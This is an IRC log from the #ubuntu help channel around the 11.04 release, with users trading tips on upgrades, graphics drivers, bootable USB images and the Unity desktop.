[05:28] <carandraug> greylurk, the first time I made a upgrade on the day the release came out, it took me 8h!
[05:28] <Souperman> tell me an old hag, but clean install stuff people, do not upgrade stuff, that _NEVER_ goes well
[05:28] <_ryx_> need help ---> UNKNOWN MONITOR
[05:28] <greylurk> I think xsinick is a Redhat shill.
[05:28] <tanath> hrm, i installed unity on 10.10 and it installed dependencies, but now on removing it the dependencies aren't being removed along with
[05:28] <In54n0> #canal
[05:28] <celthunder> rgoytacaz: cause you're insane?
[05:28] <In54n0> #ubuntu-br
[05:28] <greylurk> Well, it's down to 9 minutes now... Just bouncing all over the place.
[05:28] <celthunder> Souperman: that's just plain wrong
[05:29] <rgoytacaz> celthunder: wow, whats that for? free aggression?
[05:29] <xsinick> taglass i got them to work but this new ubuntu  11.04 is crappy as Blender 3d is spanning two workspaces every time i luanch it
[05:29] <Jordan_U> rgoytacaz: Ubuntu doesn't install the proprietary drivers by default. And they are technically superior in many ways, especially when it comes to 3D accelleration.
[05:29] <_ryx_> need help ---> UNKNOWN MONITOR
[05:29] <carandraug> tanath, the dependencies are not removed if you install from things such as synaptic or ubuntu software center. If you want dependencies to be removed, you need to installl with apt-get or aptitude
[05:29] <celthunder> rgoytacaz: nah lol just saying...using the oss drivers works for 99/100 things...try them out first
[05:29] <rgoytacaz> celthunder: take that to wtv you live, not here.
[05:29] <tanath> carandraug, aptitude is what i use
[05:29] <_ryx_> need help ---> UNKNOWN MONITOR
[05:30] <arand> _ryx_: Don't repeat.
[05:30] <laumonier> i try to remove transmission with apt-get remove transmission but it says that its not install but it is an ideo to remove this ???
[05:30] <lsheeba> looks like i have to go buy a cd LOL
[05:30] <greylurk> _ryx_ we heard you.  What kind of monitor do you have?
[05:30] <carandraug> tanath, then I don't know. Maybe you have something else installed that needs those dependencies
[05:30] <celthunder> laumonier: transmission-gtk
[05:30] <rgoytacaz> Jordan_U: I know, but from my experience we always have problems with that driver, maybe an option which we can choose between during install, maybe it work okay.
[05:30] <yi`zhi> OMG this is taking soooo long to download
[05:30] <tanath> carandraug, can't think what
[05:30] <yi`zhi> and i have a final tomorrow. i kinda don't wanna sleep until i've figured it out
[05:30] <lsheeba> yes
[05:30] <lsheeba> yi
[05:30] <carandraug> laumonier, pastebin "aptitude search transmission" please
[05:30] <Souperman> celthunder, just stay here a few more days and see the amount of people asking things like "I upgraded and now stuff that used to work dont work anymore", it has already started
[05:31] <Jordan_U> rgoytacaz: You said that you want the open source drivers to be default. They are.
[05:31] <xsinick> gonna remove the nvidia addtional drivers and see if that help ubuntu to work correct
[05:31] <lsheeba> yi`zhi, i have downloaded the alternate i386 ubuntu 11.04 from torrent and it downloads fast 1500kb/s
[05:31] <carandraug> tanath, see "aptitude show package_who_does_uninstall"
[05:31] <zombor> hey, i just tried creating a bootable usb from the download image, and it wont boot from my machine, anyone know why? i used dd on my mac to copy the image to my usb key. ive booted from the same usb key for other linux distros...
[05:31] <laumonier> celthunder ty
[05:31] <rgoytacaz> anyways, I'm trying for the 3rd time a install using different parameters, let see what happens.
[05:31] <mknarr> can anyone tell me how to change the group of all the files in a directory at once
[05:31] <yi`zhi> lsheeba, oooh
[05:31] <celthunder> Souperman: i'm on arch...which is rolling release...which just proves the above statement abundantly false ...as does gentoo, slackware, lfs, etc
[05:31] <yi`zhi> thanks for that!
[05:31] <rgoytacaz> Anyone figured out the shutdown/boot problems?
[05:31] <celthunder> Souperman: all of them allow you to pretty much update anything whenever you want as long a you upgrade everything else with it
[05:31] <taglass> zombor: dd doesnt work for ubuntu images.  use netbootin
[05:31] <lsheeba> but the problem is yi`zhi  is that u wont be able to upgrade somehow !!! :S theirs some kind of bug, the only way is to make a cd , i tried emulating a cd and mounting it then running but doesnt work
[05:32] <lsheeba> yi`zhi, maybe if i used an application rather then terminal might work , let me test :D
[05:32] <zombor> taglass: the instructions say to use dd, and unetbootin doesnt list my usb key
[05:32] <DigitalUn1corn>  I'm having a problem where I go to click on things within a window, but it selects stuff from the window behind it.  Anyone know of a fix?
[05:32] <NotTooDumb3> hi all, is there any option within skype to record call?
[05:32] <nxvl> does anyone know why is the dash in my unity always maximized?
[05:32] <mexcian> helo wat room is dis?
[05:32] <Captainkrtek> anyone here running natty and have a printer installed?
[05:32] <Jordan_U> zombor: A dd'd Ubuntu image will only boot on EFI machines (like intel macs).
[05:32] <celthunder> NotTooDumb3: it's a plugin
[05:32] <z0x1c> mknarr: From a terminal: `chgrp -R groupname /dir/name` - prefix with "sudo" if your account can't change the group.
[05:32] <taglass> zombor: new one to me.  I've never had any luck dding ubuntu images
[05:32] <tanath> anyone know why tab completion takes FOREVER in 10.10?
[05:32] <Souperman> oh well, good luck people, fixing all your upgrading problems, see ya later
[05:32] <nxvl> or where i can help on that?
[05:33] <lsheeba> NotTooDumb3, their are third party softwares that does it
[05:33] <zombor> Jordan_U: i have an intel efi pc
[05:33] <pyrodood> 11.04 cd won't boot, see the purple ubuntu screen for a while then get no init found. try passing init= bootarg
[05:33] <Captainkrtek> anyone here running natty and have a printer installed?
[05:33] <Jordan_U> zombor: Did you use the 64 bit image?
[05:33] <nxvl> one of my machines has it maximized the other one not
[05:33] <zombor> no, 32
[05:33] <mknarr> z0x1c thanks
[05:33] <celthunder> Captainkrtek: what's your printer doing
[05:33] <Jordan_U> zombor: Only the 64 bit iso has EFI support.
[05:33] <zombor> >_<
[05:33] <pyrodood> any ideas?
[05:33] <cntb> ubuntu 11.04 upgrade available popped up i am happy with MM 10.10 any suggestions?
[05:33] <Captainkrtek> celthunder, I need someone to verify documentation
[05:33] <lsheeba> Captainkrtek, i have natty still didnt upgrade and yes hp printer installed working fine / network and USB both does
[05:33] <Captainkrtek> lsheeba, may I PM you?
[05:33] <carandraug> cntb, then don't upgrade
[05:33] <ncg> any  help please ?
[05:34] <lsheeba> Captainkrtek, sure
[05:34] <Captainkrtek> thanks
[05:34] <rgoytacaz> cntb: dont upgrade yet :)
[05:34] <zombor> Jordan_U: the 64 bit download has "amd64" in the filename
[05:34] <freaky[t]> im using ubuntu classic because this unity suddenly stops hiding itself etc.
[05:34] <ikevin_> does anyone know how to force 2 ethernet ports (same NIC) go around the ethernet switch to see each other?? :D
[05:34] <Jordan_U> zombor: AMD64 is the 64 bit x86 architecture started by AMD and used by both AMD and Intel.
[05:34] <taglass> amd64 covers amd and intel.  ia64 is Itanium
[05:35] <cntb> k thks carandraug  and rgoytacaz  avoiding that popup how can i nvoke later?
[05:35] <carandraug> cntb, I mean, people tend to prefer the latest version, but if it works for you, then don't upgrade. It may just create more problems. I'd give it a 2-3 weeks before thinking upgrading. I'm still using 10.04
[05:35] <zombor> k, im just used to seeing x86_64
[05:35] <celthunder> ikevin_: crossover cable
[05:35] <cntb> that is the LTS
[05:35] <celthunder> ikevin_: or straight through depending what the nics are
[05:35] <roknir> wow, even the 11.04 installer is buggy.  =o
[05:35] <carandraug> cntb, It should be available on the update manager every time you go there
[05:35] <ikevin_> celthunder, if i do iperf it will give me 18Gb/s
[05:35] <mknarr> z0x1c thx man
[05:35] <nmvictor> Natty will definately take ubuntu on much greater heights. Canonical income will increse majorly due to their cloud-platforms-intergration coz soon we are gonna have many users.
[05:36] <cntb> roknir if true a good point
[05:36] <tanath> carandraug, removing recommends manually doesn't remove any other packages either
[05:36] <ikevin_> celthunder, they are tx/rx locally!
[05:36] <cntb> thks roknir
[05:36] <barcef> is there a replacement for cryptkeeper for natty? I can't get my icon to show up o nthe bar when I run it.
[05:36] <pyrodood> trying to boot natty narwahl 11.04 and it won't load any help?
[05:36] <roknir> cntb: first ubuntu release in quite some time where i've had to use the text installer to be able to install to a VM.  -_-
[05:37] <carandraug> cntb, yes. I upgraded to 10.10 but went back because I had some problems with the unity interface. I liked it but it was still to slow and had a few bugs that made it incomaptible with Gnome DO
[05:37] <ikevin_> celthunder, http://ubuntuforums.org/showthread.php?t=1742551
[05:37] <Belinrahs> does anyone have experience installing Ralink wifi drivers on ubuntu? I can never make them work
[05:37] <celthunder> Belinrahs: chipset?
[05:37] <celthunder> ikevin_: ok i'll read that ina moment
[05:37] <rgoytacaz> Install Failed: ERROR: modinfo: could not find module nvidia_current
[05:37] <tanath> carandraug, gnome-do uses a lot of space, depending on mono & such. synapse is a great lightweight alternative
[05:37] <Belinrahs> its just called the 5390 as far as I know
[05:37] <cntb> so i will opt for ask later on 11.04 upgrade cu
[05:38] <rgoytacaz> thats what I get during install of 11.04
[05:38] <ezrafree> hello
[05:38] <tanath> carandraug, only downside i've found is lack of pidgin integration so i can't easily bring up chat windows
[05:38] <rgoytacaz> ERROR: could not find module vmxnet
[05:38] <ezrafree> how can i cd into /var/spool/cron ? i get an error that "cd" is not a sudo command
[05:38] <cntb> when is later ? each restart of computer?
[05:38] <carandraug> tanath, when you run "aptitude show package_name", does it says "Automatically installed: yes" somewhere on the output?
[05:39] <nmvictor> tanath: though I wish synapses would have had much plugins like gnomedo
[05:39] <taglass> ezrafree: cd is a shell builtin.  try sudo bash
[05:39] <ikevin_> celthunder, ok, take ur time
[05:39] <tanath> carandraug, i remember from when i installed it that everything was automatically installed except for 'unity'
[05:39] <Belinrahs> celthunder: not sure if it told you i replied, its the ralink 5390
[05:39] <arand> tanath: ezrafree: sudo -s rather
[05:39] <carandraug> tanath, I mainly use Gnome DO to open programs and folders, and shut down the computer. Not the plugins so much
[05:39] <pyrodood> no init found. try passing init= bootarg.
[05:40] <carandraug> tanath, yes. But is it marked by aptitude as automatically installed? If you run that command, it should say
[05:40] <celthunder> ikevin_: switch justno router?
[05:40] <tanath> carandraug, synapse has a fair bit. enough for most things, including zeitgeist which i don't think gnome-do has
[05:40] <ikevin_> celthunder, just switch
[05:40] <nmvictor> carandraug: should try out some plugins, you'll realy save alot of time for other things in yout linuxbox.
[05:40] <celthunder> ikevin_: :/ not sure then
[05:41] <ikevin_> celthunder, try to do 10Gb fiber...
[05:41] <ezrafree> arand: thank you so much!
[05:41] <greylurk> Ok...  I went to do dishes, and came back, and now it's at 14 minutes remaining.   This is getting strange.
[05:41] <ikevin_> celthunder, the 10Gb dual NIC is so expensive, i only had 1
[05:41] <celthunder> ikevin_: fibre ends are annoying...or maybe that's just cause i do them with bad equipment
[05:41] <nmvictor> tanath: what exactly does zeitgeist do, I have come acoss that several times but never knew its importance
[05:41] <ikevin_> celthunder, no, i did 10Gb to 1 Gb , it worked fine
[05:41] <greylurk> 24 -> 26 -> 9 -> 24 -> 14  I suppose that at least half the time the number is going down.
[05:41] <carandraug> tanath, I'll give it a try, thanks. By the way, Gnome DO was developed by the same guy behind Unity
[05:42] <ikevin_> celthunder, i get like 970Mb/s in iperf which is good
[05:42] <celthunder> ikevin_: i meant like physically doing them
[05:42] <celthunder> not routing them /etc
[05:42] <tanath> carandraug, interesting. i like gnome do, but iffy about unity... yet anyway
[05:42] <pyrodood> 11.04 live cd won't boot any help?
[05:42] <carandraug> nmvictor, I gave a look at the plugins. But I spent most of my time on gedit and a terminal. And have shortcuts on the keyboard for pretty much everything else I do so I don't need them much
[05:42] <ikevin_> celthunder, yea pcb routing is kind strict
[05:42] <greylurk> pyrodood what happens?
[05:42] <bullgard4> '~$ ip addr; 192.168.178.26'. '~$ sudo dhclient eth0; bound to 192.168.178.26'. What is bound here to what?
[05:42] <rgoytacaz> Anyone knows the cause why you can't shutdown/boot Ubuntu 11.04 after install?
[05:42] <doc|home> I'm watching unity vids on youtube. Is it possible to disable the unified toolbar? (e.g. the OS X toolbar in the top no matter where your window is)
[05:43] <ikevin_> celthunder, testing some evel board now
[05:43] <taglass> carandraug: I didn't know that.. maybe he can do something about alt-f2 this dev cycle :)
[05:43] <doc|home> s/OS X/OS X style
[05:43] <celthunder> ikevin_: hook me up with some hw :)
[05:43] <ikevin_> celthunder, eval*
[05:43] <ikevin_> celthunder, haha yea right
[05:43] <izinucs> bullgard4: you got virtual box installed?
[05:43] <carandraug> tanath, same here. The most weirtd thing was that they conflict with each other. You try Super +space and Unity intercepts it
[05:43] <tanath> nmvictor, it's sort of a history log of comp activity so you can quickly access things you've done before. gnome activity journal provides a front end, and it integrates with synapse and has plugins for things like banshee and xchat
[05:43] <bullgard4> izinucs: No.
[05:43] <rgoytacaz> Anyone knows the cause why you can't shutdown/boot Ubuntu 11.04 after install?
[05:43] <pyrodood> i see the purple screen for a while
[05:43] <pyrodood> then the screen goes black
[05:43] <celthunder> rgoytacaz: hold alt i think
[05:44] <tanath> carandraug, one reason i don't want to use unity. it coopts some shortcuts i use
[05:44] <celthunder> rgoytacaz: or ctrl
[05:44] <pyrodood> then it says no init found.
[05:44] <ikevin_> celthunder, i guess i can do vlan on the Eth Switch then?
[05:44] <pyrodood> try passing init=bootarg
[05:44] <rgoytacaz> celthunder: yea, it says crash manager something fails
[05:44] <ruan> is gnome3 supported here?
[05:44] <greylurk> pyrodood try ctrl-alt-f1 and see if it's completely locked up or if it's just having prolblems with your vid card.
[05:44] <gilmar> ubuntu-br?
[05:44] <ikevin_> celthunder, have those 2 ports in  different subnets?
[05:44] <carandraug> taglass, I find the best way to have something done on free software is to report the bug, request a feature. If already has been requested, say that you also want it. And if you can code, submit a patch. The last thing works for me every single time :p
[05:45] <celthunder> ikevin_: yeh put them in different vlans and use the pc as the router to itself...
[05:45] <taglass> carandraug: fair enough :)
[05:45] <doc|home> anyone?
[05:45] <carandraug> !pt | gilmar
[05:45] <pyrodood> i don't see any change with ctrl+alt+f1 but i can type commands
[05:45] <ubottu> gilmar: Por favor, use #ubuntu-br para ajuda em português. Para entrar no canal por favor faça "/join #ubuntu-br" sem as aspas. Para a comunidade local portuguêsa, use #ubuntu-pt. Obrigado.
[05:45] <celthunder> ikevin_: what's your switch?
[05:45] <cntb> carandraug:  how did you go back ?have both  on grub menu or how you down graded
[05:45] <ikevin_> celthunder, nda with marvell
[05:45] <pyrodood> perhaps i should say type characters i don't know if they are commands
[05:46] <ikevin_> celthunder, cant tell u hahha
[05:46] <carandraug> cntb, you can't go back. I had to reinstall 10.04
[05:46] <bullgard4> ruan: GNOME 3 is a project in progress. You can download a GNOME 3 DEB program package from a PPA.
[05:46] <pyrodood> 10.10 live cd does boot
[05:46] <schneidmaster> Hey all, I'm getting a problem with updating my release.  I'd like to upgrade to natty but when I try to check for new updates via the update manager I get this error:
[05:46] <schneidmaster> W:Failed to fetch http://archive.canonical.com/ubuntu/dists/maverick/Release  Unable to find expected entry  (Source/source/Sources in Meta-index file (malformed Release file?)
[05:46] <schneidmaster> , E:Some index files failed to download, they have been ignored, or old ones used instead.
[05:46] <FloodBot3> schneidmaster: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[05:46] <ikevin_> celthunder, its not even released yet so docs sux
[05:46] <greylurk> pyrodood it sounds like the gui install having some difficulty recognizing your video card.  try command line install?
[05:46] <nmvictor> I dont need Unity, as long as its panel is not removable nor modifyable, that imposes a restriction I cant live with, Gnome give musch freedom.
[05:46] <ruan> yeah im using gnome3 but i get this error on trying to launch nautilus: Gtk-ERROR **: GTK+ 2.x symbols detected. Using GTK+ 2.x and GTK+ 3 in the same process is not supported
[05:46] <schneidmaster> any ideas?
[05:46] <ikevin_> celthunder, dont want to change the registers manullay :(
[05:47] <ikevin_> celthunder, manually*
[05:47] <ruan> how could i disable one of them?
[05:47] <doc|home> nmvictor: I'm with you there
[05:47] <pyrodood> i don't know how to do command line install
[05:47] <cntb> that is repartitioning carandraug  why not have possibility as the small updates kept all in grub?
[05:47] <jaypro> j
[05:47] <celthunder> ikevin_: :/ ouch...is it that different from other switches/routers?
[05:47] <will_> anyone know where i can find help on screenlets, looking to change my screenlets units to farenheit not celcius
[05:47] <rgoytacaz> So Installing 11.04 without download the updates seems to work for me.
[05:47] <rgoytacaz> So no updates for a long time.
[05:48] <tanath> will_, ugh. get with the times :P
[05:48] <rgoytacaz> But nvidia still doesnt work.
[05:48] <gilmar> thanks. bye
[05:48] <celthunder> ikevin_: from the variety of cisco routers/switches/etc i used 9/10 times the commands are the same despite model
[05:48] <Wickedspawn> ok, twice now I have gotten a black box of death.....
[05:48] <will_> trying, dont understand these units though lol
[05:48] <carandraug> taglass, it's really good. I'm no programmer but started slowly by fixing erros in man pages and documentations. Then on small simple scripts. It just sucks you up in and before you know it, you're sending patches to the devs to fix all your bugs and half your drive is the trunk version of the programs you have installed. Free software is amazing like that
[05:48] <tanath> will_, 0C is freezing. 100C is boiling
[05:48] <tanath> will_, both are same at -40
[05:49] <pyrodood> if i do command line install will the video card work after that?
[05:49] <ikevin_> celthunder, this is one server design, its not an COTS switch
[05:49] <Wickedspawn> this little thing appears on one of my screens, I hover over it to find it is actually a program all smashed up, so I enlarge it and it is just nothing but black... sort of like a dead terminal screen. I exit the thing and unity dies.
[05:49] <slayer> hello all
[05:49] <tanath> will_, ~22C is room temp
[05:49] <remoford> where did the network places go in unity, like the ssh and samba connect to server bookmarks?
[05:49] <slayer> does anybody know a good place to get left-handed cursors for KDE 4.2?
[05:49] <will_> o well thats all i need then, thanks for the heads up, i just need to estimate a rough closeness to matching *F
[05:49] <ikevin_> celthunder, the IC switch is still dev, so we just testing the eval board now
[05:49] <will_> thank
[05:49] <rgoytacaz> So I removed the nvidia driver, which said that it couldnt display Unity and the default OSS does display, fuck nvidia.
[05:49] <zooko> Dear people of #ubuntu: https://help.ubuntu.com/community/MacBookPro5-3/Maverick#Touchpad says that click-and-drag works on my Macbook Pro 5,3. But it doesn't! When I click, hold the button down, and then drag then the mouse cursor does not move.
[05:50] <carandraug> cntb, what do you mean? Grub only points to the linux kernel. Even if you kept the old one, when you upgrade to 11.04, you'll upgrade every bit of software you have installed. All of them will be on the lateste version. It has nothing to do with GRUB
[05:50] <IdleOne> !language | rgoytacaz
[05:50] <ubottu> rgoytacaz: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[05:50] <celthunder> ikevin_: ah
[05:50] <celthunder> ikevin_: well nice job...i'm envious....if you're hiring...let me know :)
[05:51] <bullgard4> ruan: Basically by de-installing the associated DEB program package. But it is difficult to deinstall GNOME 2 in Ubuntu because Ubuntu has many metapackages and thus side effects.
[05:51] <tanath> will_, below about 10 it starts feeling cold enough to want to dress warm
[05:51] <ikevin_> celthunder, u hw or sw?
[05:51] <celthunder> ikevin_: mix of both
[05:51] <celthunder> ikevin_: more software
[05:51] <ikevin_> celthunder, we're in Socal
[05:52] <zooko> Hm, also Ctrl-click doesn't seem to right-click like I expect. Am I wrong about that?
[05:52] <ikevin_> celthunder, im in HW but SW dept is hiring too i think
[05:52] <pfifo> anyone know a way to create a screenshot of the desktop using ONLy the cli?
[05:52] <celthunder> ikevin_: move this to pm?
[05:52] <remoford> unity is working pretty well, but just cant find "places" anymore
[05:52] <greylurk> pfifo like a screenshot of the cli?
[05:52] <ikevin_> celthunder, sure
[05:52] <taglass> pfifo: scrot
[05:53] <pfifo> greylurk, no, X, but it must be invoked from cli and require no user intervention.
[05:53] <bullgard4> '~$ ip addr; 192.168.178.26'. '~$ sudo dhclient eth0; bound to 192.168.178.26'. What is bound here to what?
[05:53] <asiekierka> Hello
[05:53] <asiekierka> So I upgraded from 10.10 to 11.04
[05:53] <zooko> Ohh... if I click by tapping on the mousepad, then I *can* drag...
[05:54] <asiekierka> now my OS is a complete s**tfest
[05:54] <asiekierka> in GDM everything blinks the menus are not visible
[05:54] <asiekierka> i got here from irssi actually :/
[05:54] <zooko> But if I click by clicking the clicky area of the mousepad with one finger and then dragging with the other, then I can't. Hm.
[05:54] <ubuntu> Does all work ok with the upgrade???
[05:54] <asiekierka> NOPE
[05:54] <ubuntu> Im thinking if I should or should not upgrade now
[05:54] <asiekierka> don't
[05:55] <asiekierka> i just ruined my Ubuntu installation using the standard way
[05:55] <asiekierka> and have no idea how to fix it
[05:55] <laumonier> each time i use a password there the key gest who appears and ask me and password but nothing works what should i do???thx
[05:55] <carandraug> ubuntu, the way I see it, if it ain't broken don't fix it
[05:55] <ubuntu> Wow, better I wait
[05:55] <asiekierka> anyone with 11.04 can help :/
[05:55] <asiekierka> this is really bad =(
[05:55] <carandraug> ubuntu, http://xkcd.com/349/ <-- like this
[05:55] <remoford> upgrade worked for me but it took 7hrs, servers very slow
[05:55] <asiekierka> i need to use my computer to move some files now but i really can't
[05:55] <tanath> carandraug, if it ain't broke, you haven't fiddled with it enough
[05:55] <xsinick_laptop> ubuntu warning do not upgrade
[05:55] <asiekierka> unless i use cp /*
[05:55] <asiekierka> or something
[05:56] <xsinick_laptop> I too messed yup my install
[05:56] <asiekierka> xsinick_laptop in what way
[05:56] <greylurk> I just did an upgrade in about an hour and a half.
[05:56] <carandraug> tanath, ahahahah! Too true
[05:56] <xsinick_laptop>  I'm now on my 10.10 laptop
[05:56] <greylurk> Seems to be working so far, but I haven't checked all of the Nvidia stuff.
[05:56] <asiekierka> i use Nvidia
[05:56] <asiekierka> >:(
[05:56] <asiekierka> i use Nvidia and the entire Gnome (notifications and desktop) blinks for me on/off
[05:56] <asiekierka> and the menus aren't visible at all
[05:56] <fezzik02> usr13: booted into failsafex, ran the Additional Drivers wizard, installed the new nvidia drivers, and voila!!! it works!
[05:56] <carandraug> asiekierka, oh! Someone here was complaining about the NVidia drivers just a few minutes ago
[05:57] <ubuntu> Does unity looks and works better than gnome??
[05:57] <asiekierka> carandraug i'll just run ./fixgpu.sh to install the beta drivers i use
[05:57] <asiekierka> i'll see if it helps
[05:57] <tanath> remoford, System > Admin > Software Sources > Download from, Other > Select best server
[05:57] <doc|home> ubuntu: no, it has silly stuff
[05:57] <asiekierka> (my own script)
[05:57] <zombor> Jordan_U: still doesnt work :(
[05:57] <tanath> remoford, prolly would have saved you some time :p
[05:57] <asiekierka> brb
[05:57] <taglass> I've used Linux for 18 years and I don't think I've ever done an upgrade.  Better to do fresh installs.
[05:57] <greylurk> seems to work ok with the default NVidia drivers, upgrading to the "current" ones now to see what happens.
[05:57] <ezrafree> hello all. i just got an error at boot-up that the "GNOME Power Manager configuration was not installed" and i figured out it was cause my hard drive got full cause of a backup script i run. i deleted the files and was able to log in again, but now when i start thunderbird my accounts are all gone. any way to repair it?
[05:57] <carandraug> ubuntu, looks better and works better are very relative things
[05:58] <zooko> Hrm, and ppa:jdstrand/ppa doesn't seem to have natty packages. Ugh.
[05:58] <remoford> tanath: yeah i didnt mind much, watched a stream as it upgraded
[05:58] <greylurk> All in all, I think I like Unity, but it's hard to tell what apps are installed.
[05:58] <zooko> Wellll... back to Mac OS X for the time being. Thanks for listening, folks. :-)
[05:58] <remoford> if only i could find out where the network places bookmarks went
[05:58] <carandraug> greylurk, is it true it's the default now, even for the desktop version?
[05:58] <zetheroo1> Would anyone like to know how to get the weather applet/indicator back into the top "panel"/bar in 11.04 ? :)
[05:58] <tanath> ubuntu, you may want to stick with gnome ('classic session') 'till unity is more polished
[05:59] <greylurk> carandraug yep.  Hard to decide what I think about it just yet though
[05:59] <ubuntu> Ohh and what about gnome 3??
[05:59] <ubuntu> I like gnome
[05:59] <tanath> zetheroo1, it goes away? yes please
[05:59] <russell--> how to get rid of the horrible new interface?
[05:59] <carandraug> ubuntu, you can upgrade to 11.04 and still keep the classic gnome
[05:59] <_Platypus_> Question- is there anyway to make the Unity bar smaller?
[05:59] <asiekierka> Derrrrp
[05:59] <asiekierka> this is NOT what i intended
[05:59] <asiekierka> :[
[05:59] <asiekierka> the drivers didn't help
[05:59] <asiekierka> what to do now
[05:59] <FloodBot3> asiekierka: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[06:00] <tanath> zetheroo1, actually, i'm not using an applet. it's built into the time & date thing in previous versions
[06:00] <taglass> russell--: logout and select classic from sessions
[06:00] <carandraug> greylurk, on the netbook on 10.10 looked nice but way too slow for my very old computer
[06:00] <Sexygurl2furl> excuse me
[06:00] <zetheroo1> tanath: well it's no longer there in 11.04 ... I'll tell you how to get it back :)
[06:00] <Sexygurl2furl> how do i get java on ubuntu?
[06:00] <asiekierka> carandraug didn't you know how to fix the nvidia issues?
[06:00] <Sexygurl2furl> like what is the command
[06:00] <tanath> zetheroo1, built into time & date still?
[06:00] <Sexygurl2furl> i forgot it. :X
[06:00] <russell--> who ever came up with that is FIRED
[06:00] <greylurk> carandraug I'm running on a reasonably modern system, but it's reasonably snappy for me.
[06:01] <zetheroo1> tanath: no ... in 11.04 it's gone! No longer built into the time/date
[06:01] <tanath> zetheroo1, >.< ok, so how?
[06:01] <carandraug> asiekierka, no. I only use graphics card from intel that don't give problems. I said someone here a few minutes ago was having problems and I think fixed by installing the OSS version of them
[06:01] <asiekierka> oh
[06:01] <russell--> taglass: what "sesssions"?
[06:01] <asiekierka> i... am honestly annoyed by this fact and hope a fix is released
[06:01] <taglass> rickyrick: apt-get install default-jre
[06:01] <tanath> honestly, seems like 11.04 is a regression. they should have held back until it was ready
[06:01] <zetheroo1> tanath: so what you do is install "indicator-weather" from Synaptic or terminal ... then add it to Startup Applications ... logout/login ... ;)
[06:02] <asiekierka> is there a way to get the OSS nvidia drivers into Ubuntu? like, by command line
[06:02] <taglass> russell--: it's a drop down box at the bottom of the login screen
[06:02] <rikrikthetik> What is the command to get JAva on Ubuntu?
[06:02] <carandraug> greylurk, mayb I should upgrade mine. 1GB RAM, 40GB of HDD and a single CPU of 1.6GhZ
[06:02] <asiekierka> rikriktherik: ugh... apt-get install default-jre
[06:02] <asiekierka> just do it as root
[06:02] <rikrikthetik> thanks
[06:02] <tanath> zetheroo1, ah, i saw that in unity recommends...
[06:02] <carandraug> asiekierka, I think it was rgoytacaz
[06:03] <tanath> zetheroo1, thanks for tip
[06:03] <carandraug> rikrikthetik, not as root. With sudo
[06:03] <greylurk> carandraug, yeah, that's definitely a bit dated.  I'd almost suggest running xubuntu on that instead of gnome.
[06:03] <russell--> taglass /me doesn't see it
[06:03] <zetheroo1>  tanath: i was so overjoyed when I found it in synaptic ... hehe ... I should probably read more of the docs on the release ...
[06:03] <rikrikthetik> thanks
[06:03] <asiekierka> what was the X configuration command for ubuntu actually?
[06:03] <bullgard4> '~$ ip addr; 192.168.178.26'. '~$ sudo dhclient eth0; bound to 192.168.178.26'. What is bound here to what?
[06:03] <asiekierka> i think there was one
[06:03] <asiekierka> not sure
[06:03] <asiekierka> maybe i mistook it for another system
[06:03] <yi`zhi> wooo! i'm almost done downloading
[06:03] <FloodBot3> asiekierka: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[06:03] <yi`zhi> yay
[06:03] <tanath> zetheroo1, still have detailed info in tooltip?
[06:03] <Captainkrtek> who here is running natty and has a printer?
[06:03] <carandraug> greylurk, I have an even older one. But that's running Debian testing :p
[06:03] <ubuntu> Its the first time that I test this chat and is very helpful, thanks to all people for the invaluable information that you share in this channel, see you tomorrow!
[06:04] <zetheroo1>  tanath: no probs ... I also found out how to make the sidebar launchers smaller
[06:04] <bazhang> bullgard4, its a lease (ie dhcp) your computer to the router
[06:04] <tanath> bullgard4, ip bound to eth0 interface
[06:04] <zetheroo1>  tanath: sorry ... dunno about tooltip ...
[06:04] <Captainkrtek> anyone here on natty with a printer?
[06:04] <superproxy> how do you the md5sum of a burned install cd, i'm having problems installing natty
[06:04] <Captainkrtek> need someone to test a little bit of documentation
[06:04] <carandraug> ubuntu, see you. You come back some other time and help other people too. Makes you feel all warm and fuzzy inside
[06:04] <tanath> zetheroo1, don't know what a tooltip is? when you hover mouse over somethign and info box pops up
[06:05] <asiekierka> so, what was the x video configuration command in Ubuntu 11.04 (command-line)
[06:05] <russell--> taglass, i see a little "man" icon that gives me "Universal Access Preferences" and the power button icon, which gives me "suspend, restart, shutdown"
[06:05] <zetheroo1>  tanath: Unity lacks a GUI interface for editing the dash and sidebar ... but I am hoping it will come soon
[06:05] <ruan> superproxy: you do a cd check by going into text mode of the livecd
[06:05] <bazhang> superproxy, you md5 the iso, check disk integrity of the cd
[06:05] <carandraug> superproxy, you don't. When booting from the CD, there should be an optiomn to check CD for defects
[06:05] <greylurk> I'm still hoping Canonical picks up the old Sun CDE, and produces cubuntu
[06:05] <kjxl9> hello
[06:05] <zetheroo1>  tanath: oh ... I haven't paid any attention to that ... :P
[06:05] <Captainkrtek> anyone here on natty with a printer?
[06:05] <bazhang> !brainstorm | greylurk
[06:05] <Captainkrtek> need someone to test a little bit of documentation
[06:05] <ubottu> greylurk: Post your ideas for Ubuntu at http://brainstorm.ubuntu.com and vote for the ones you like!
[06:05] <tanath> zetheroo1, hovering over weather in 10.10 shows things like 'broken clouds, feels like temp, wind speed, sunrise & sunset'
[06:05] <bazhang> Captainkrtek, yes
[06:06] <asiekierka> :(
[06:06] <greylurk> lol that was actually a joke.
[06:06] <Captainkrtek> bazhang, may I PM you please? :-)
[06:06] <tanath> zetheroo1, so check 11.04 for me
[06:06] <kjxl9> how do i change my screen resolution?
[06:06] <bullgard4> bazhang, tanath Thank you very much for your help.
[06:06] <Robert__> my upgrade failed
[06:06] <bazhang> Captainkrtek, please ask here
[06:06] <Captainkrtek> bazhang, it isn't a question, im on the Ubuntu-Doc team, just need someone to verify a method
[06:06] <bazhang> greylurk, then #ubuntu-offtopic for silliness please
[06:06] <carandraug> kjxl9, go to preferences > monitor. Should be there
[06:06] <superproxy> so https://help.ubuntu.com/community/HowToMD5SUM is wrong? im confus o_O
[06:06] <Captainkrtek> don't have a printer of my own to test on right now
[06:06] <bazhang> Captainkrtek, how about I join that channel then
[06:07] <Captainkrtek> okay
[06:07] <Captainkrtek> #ubuntu-doc
[06:07] <bazhang> Captainkrtek, #ubuntu-docs ?
[06:07] <kjxl9> ... where is preferences?
[06:07] <bazhang> ok no s
[06:07] <zetheroo1>  tanath: ah, I see what you mean ... I will have to check that out when I get home ... (at the office atm ...)
[06:07] <superproxy> how do i go into text mode?
[06:07] <Captainkrtek> just #ubuntu-doc bazhang
